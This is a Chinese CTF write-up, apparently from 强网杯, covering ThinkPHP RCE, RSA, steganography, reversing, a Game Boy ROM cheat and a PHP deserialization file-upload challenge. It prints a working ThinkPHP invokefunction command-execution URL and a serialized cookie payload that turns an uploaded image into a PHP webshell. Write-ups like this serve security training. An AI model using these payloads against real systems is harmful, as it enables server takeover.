强网先锋–上单
发现是ThinkPHP
12点多我们还没打开题的时候发现有人已经拿到一血了。。所以应该不是很难,想到应该是thinkphp的远程执行,payload:
1 | /1/public/index?s=index/think%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag |
强网先锋–辅助
一道简单的rsa
gcd(n1,n2)即可求出q,则p = n1 / q,phin = (p-1)*(q-1), d = gmpy2.invert(e, phin)
最后gmpy2.powmod(c, d, n1),hex解码后即可得到flag
脚本:
1 | import gmpy2 |
强网先锋–打野
做隐写题常规步骤,winhex看了没东西,binwalk看了一下无果,stegsolve看了也没东西,感觉是lsb隐写,感觉图中的“zxsnsnj”是密码,所以用cloacked-pixel解密,没能成功。又继续查bmp隐写的资料,后来找到一篇文章:
http://www.luyixian.cn/news_show_13305.aspx
试了一下zsteg这个工具,成功了
强网先锋–AD
放linux下file文件然后运行,随便输入字符串得到you’re not。
将程序放入IDA进行分析,查看源码
发现程序简单,就是简单的循环比较,找到参数,并转化为ascii码
将ascii码提取出来发现很像base64,进行解码得到flag。
upload
注册后发现应该是一道上传题,只能上传图片,并且对图片马没有过滤,上传后只改了文件名和后缀为png,最开始思路是想办法让图片马解析成php。接着开始扫目录,扫描速度很慢,一段时间后跑完了,发现了/www.tar.gz,下载后打开居然在application/web/controller/register.php和../../../index.php下发现了断点。
application/web/controller/Register.php:
application/web/controller/Index.php:
application/web/controller/Index.php
里的:
首先访问大部分页面例如 index 都会调用 login_check 方法。
该方法会先将传入的用户 Profile 反序列化,而后到数据库中检查相关信息是否一致。
application/web/controller/Register.php
里的:
Register 的析构方法,估计是想判断注没注册,没注册的给调用 check 也就是 Index 的 index 方法,也就是跳到主页了。
继续审计代码,上传图片的主要逻辑在application/web/controller/Profile.php
里。
先检查是否登录,然后判断是否有文件,然后获取后缀,解析图片判断是否为正常图片,再从临时文件拷贝到目标路径。
而 Profile 有 _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。get 会直接从 except 里找,__call 会调用自身的 name 成员变量所指代的变量所指代的方法。
前面我们有反序列化和析构函数的调用,结合这三个地方我们就可以操控 Profile 里的参数,控制其中的 upload_img 方法,这样我们就能任意更改文件名,让其为我们所用了。
接下来找个图片马,注册新号上传。
然后构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。然后给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。
而后我们又赋值控制 filename_tmp 和 filename 成员变量。可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过。ext 这里也要赋值,让他进这个判断。而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了。
而后,我们还要构造一个 Register,checker 赋值为 我们上面这个 $profile,registed 赋值为 false,这样在这个对象析构时就会调用 profile 的 index 方法,再跳到 upload_img 了。
php脚本:
1 | <?php |
注意这里的文件路劲,看 Profile 的构造方法有切换路径,这里我们反序列化的话似乎不会调用构造方法,所以得自己指定一下路径。
得到cookie:
1 | TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjg2OiIuLi9wdWJsaWMvdXBsb2FkLzk4NjJhNWYwYzQ1OWMzZjc4YmE0YmFiMTIyNzllYTNkL2QwMDk2ZWM2YzgzNTc1MzczZTNhMjFkMTI5ZmY4ZmVmLnBuZyI7czo4OiJmaWxlbmFtZSI7czo4NjoiLi4vcHVibGljL3VwbG9hZC85ODYyYTVmMGM0NTljM2Y3OGJhNGJhYjEyMjc5ZWEzZC9kMDA5NmVjNmM4MzU3NTM3M2UzYTIxZDEyOWZmOGZlZi5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtzOjM6InBuZyI7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9 |
换cookie后刷新页面(chrome插件EditThisCookie)
upload下已经出现了小马
连上菜刀在根目录即可看到flag
未解出:
鲲or鳗orGame
直接看最后一个game
GameBoyCore.js
和GameBoyIO.js
是直接把GBA模拟器写到了js中,接着读取game.gb这个rom,从而把游戏加载到网页中。
那我们直接下载一个gba模拟器手动调试rom
接着过第一关后暂停游戏,用金手指搜索01:
接着过第二关后暂停游戏,用金手指搜索02:
这个就是我们需要的地址,直接添加金手指,把数值改为FF,游戏结束后出现flag。